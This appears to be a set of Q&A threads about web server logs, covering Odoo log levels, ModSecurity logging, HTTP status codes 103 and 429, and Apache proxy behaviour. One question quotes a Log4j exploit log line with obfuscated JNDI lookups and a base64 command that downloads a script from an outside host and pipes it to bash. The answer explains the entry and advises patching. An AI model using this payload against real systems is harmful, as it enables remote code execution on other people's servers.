When the Odoo server is launched, it regulary process some Long Polling Request which are logged like this:
2018-08-22 19:13:31,231 22813 INFO my_data_base werkzeug: 127.0.0.1 - - [22/Aug/2018 19:13:31] "POST /longpolling/poll HTTP/1.1" 200 -
I'm wondering if a way exists to hide them because it's annoying when you are debugging with pdb for example.
I know I could set the flag --log-handler to :WARNING level but it makes the server really quiet and I don't like that. There is few log levels: NOTSET, DEBUG, INFO, WARNING, ERROR and CRITICAL.
Any help would be appreciate
Set log_handler = *:DEBUG,werkzeug:CRITICAL
That way you can see only the critical messages coming from werkzeug and debug from everywhere else, change this according to your needs.
Related
I see this entry in my apache access log, is anyone having an Idea what does it mean?
195.54.160.149 - - [24/Dec/2021:17:30:03 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 10937 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzkuNTkuMzcuMjQ0OjQ0Myl8YmFzaA==}"
This is an exploit for the recent Log4j vulnerability. If you use Log4j anywhere you should ensure it is updated immediately. Otherwise, it's safe to disregard the attacks.
There is currently mass exploitation of this issue, so you will undoubtedly see these requests for a long time to come.
I'm wondering if there is some way in ModSecurity Apache2 module (version 2.9.1) how to log error messages into log file specified by the SecDebugLog option but don't duplicate them into the standard Apache error log file?
According to ModSecurity documentation the error messages are always doubled in both log files: Messages with levels 1–3 are designed to be meaningful, and are copied to the Apache’s error log. But I'd like to keep the ModSecurity stuff separate and don't mess the standard error log.
You can remove log from any of the Rules and just leave auditlog.
If using the OWASP CRS then change the default action from this:
SecDefaultAction "phase:1,deny,log"
SecDefaultAction "phase:2,deny,log"
to this:
SecDefaultAction "phase:1,deny,nolog,auditlog"
SecDefaultAction "phase:2,deny,nolog,auditlog"
Which will turn off all logging, but then turn on auditlogging again.
You may also want to add similar for phase 3 and 4 depending on whether you are also checkout outbound traffic.
However I would really, really, really caution against this for a number of reasons:
You will eventually block something with a ModSecurity rule and wonder why it's happening and skip over the Audit log and blame Apache. Trust me. "Why is this request returning 403 when I can see the page exists?!?!" At least if in the error log then you've another chance to see why this is so.
The entry in the error log is in one line. This makes it much easier to collect, parse and deal with errors in tools like Splunk. The audit log is spread over several lines so is less machine readable. And you should be reviewing your WAF logs regularly and not just assuming it's working correctly and only look at logs when something goes wrong. Maybe not in detail at each log level but in summary. Ivan Ristic, the original creator of ModSecurity, recently tweeted:
"If you’re not using your WAF as an IDS, you’re doing it wrong."
These are errors. And the error log is therefore the right place for them. The audit log is then a useful place to get extra detail if you cannot explain the errors.
I was trying an IOT project where in I want to update the database remotely using ESP8266-01 module. I have the php file to update the database, but to execute that I am trying with GET method. Unfortunately, it wan't working. The server received the request in the access.log, but wan't updating the database. Wanted to debug, so I had this question.
The entry in the access.log is as follows:
192.168.43.150 - - [18/Mar/2017:20:23:40 +0000] "GET collectdata.php?status=1 HTTP/1.1\r\nHost: 192.168.43.92\r\n\r\n" 400 0 "-" "-"
This looks wrong: GET collectdata.php...
That needs to be a full path, eg. GET /collectdata.php or GET /scripts/collectdata.php, or similar.
The 400 response code you're seeing in the log means "Bad request", and the lack of a leading slash (and the rest of the path, if needed) is what Apache is complaining about.
We have a Tomcat 7 running behind an Apache2 Server, connected via AJP.
Some AJAX-Requests we receive at the Tomcat do not contain any request Parameters.
This applies to GET and to POST requests as well.
Inspecting the Apache access_log the requests were all answered with a HTTP Status Code of 103:
IP - - [SNIP] "POST /redacted/ticket/1234567 HTTP/1.1" 103 655 "https://redactedhost.com/redacted/ticket/1234567" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
I can't figure where this Status Code comes from. Has anybody ever heard of it? As far as I have examined it is not a Custom Response from our Application and it is not defined in our Tomcat or Apache configuration.
HTTP 103 has been approved as status code for indicating hints to client.
More details here IETF
Official IANA Registry [1] says that code 103 is unassigned.
Some googling finds "103 Checkpoint" from "Resumable HTTP Requests Proposal" [2] [3] (I don't know whether that document in [3] is up-to-date, it is just from first page of search results. Usually such proposals should go further as an IETF draft). Note that it is not official, and response code 308 from [3] has already been assigned for different purpose by RFC 7538 [1].
As far as I have examined it is not a Custom Response from our Application
If it is not in plain view, it may be one of filters that you are using. Look through your libraries. You may try running with a debugger.
Do you see that response code at Apache HTTPD side only, or in Tomcat access log as well?
The Status Code 103 was an "unofficial" implementation which ended up in some (very few) products/software source codes, reason why people stumbled upon it in (rare) occasions.
History tells that the Status Code 103 was planned to respond when the request was installation/implementation dependent, which means its should appear when something (required) was missing or faulty in the Server installation or Network.
The message "Access denied while creating Web Service" was originally intended for the Status Code 103, but only few implementations used it. There were also cases it was simply translated as "Checkpoint".
For a while those messages made little to no sense, and the Status Code 103 was kept listed as "unofficial", until when it was deprecated even before becoming official, which happened some point in time around 2012.
However, in December 20, 2017, suggested by K. Oku, the IETF (Internet Engineering Task Force) retrieved and reset the Status Code 103 from "Deprecated" to "Experimental", retrofitting it as "Early Hints", as it has been listed in the RFC 8297.
You can read more its new purpose and utilization here: An HTTP Status Code for Indicating Hints
In 2018 The Status Code 103 was officially listed in the IANA HTTP Registry, even before being set as official by the IETF. Based on that, the odds are that the new meaning of the Status Code 103 should be safe to use and soon enough it shall became "official" by the IETF too. That is how it has been happening for a long time for other Status Codes.
I must express my appreciation and thank Ujjwal Gulecha for taking the time to bring this information forward on an old thread. It helps a lot keeping the information up-to-date in Stack Overflow when something in the industry change and affect the answers provided. Good job, bother!
Background
We have been running an application on JBoss that is exposed to the clients via an Apache Reverse Proxy. We recently introduced "HTTP 429 Too many requests" to slow down high velocity requests.
Problem
However, it seems that apache2 changes the HTTP status code from 429 to 500.
Root cause analysis
Confirmed from JBoss that it sends HTTP 429, by bypassing the proxy, and talking to it directly.
Confirmed from /var/log/apache2/access.log, that apache2 gets HTTP 429
10.0.0.161 - - [16/Jul/2014:07:27:47 +0000] "POST /the/URL/ HTTP/1.1" 429 1018 "-" "curl/7.36.0" |0/466110|
Curl Client gets 500, somehow.
There's also been a bug filed few years back on Bugzilla #900827. I remember reading that it has been fixed in 2.2.18. Yet, I still face the problem -- which leads me to think there's probably a different problem altogether.
Questions
As I have read elsewhere, Apache might not relay the code perfectly for custom HTTP status codes. But isn't HTTP 429 as a part of additional HTTP status codes RFC, a standard code enough to be recognised and relayed?
Is there something crucial that I am missing here?
PS: Since this question is more about HTTP status spec, I asked here. If the community feels its more about apache, please feel free to vote to move the question to Server Fault.
I just stumbled upon your question because i was once again researching a similar problem, where our Apache Reverse Proxy returned a 500 status code on an ActiveSync Response 449.
I also found the Bugzilla entry you mentioned and the statments that it should have been fixed with version 2.2.18, however we use 2.2.22 and still faced the problem.
After further reading into the comments in the Bugzilla entry which then lead to the apache bug entry #44995. Reading these comments, especially the last one lead me to the believe that the issue, especially with custom error codes without status message has not been fixed in any 2.2.x versions but is included in 2.3/2.4
So we moved on and updated our reverse proxy to a 2.4 version, and to our surprise the error code 449 was correctly passed over by the proxy.
As you didnt mentioned your apache2 version used, i can only guess that an update to 2.4 or 2.3 might be a possible solution for you.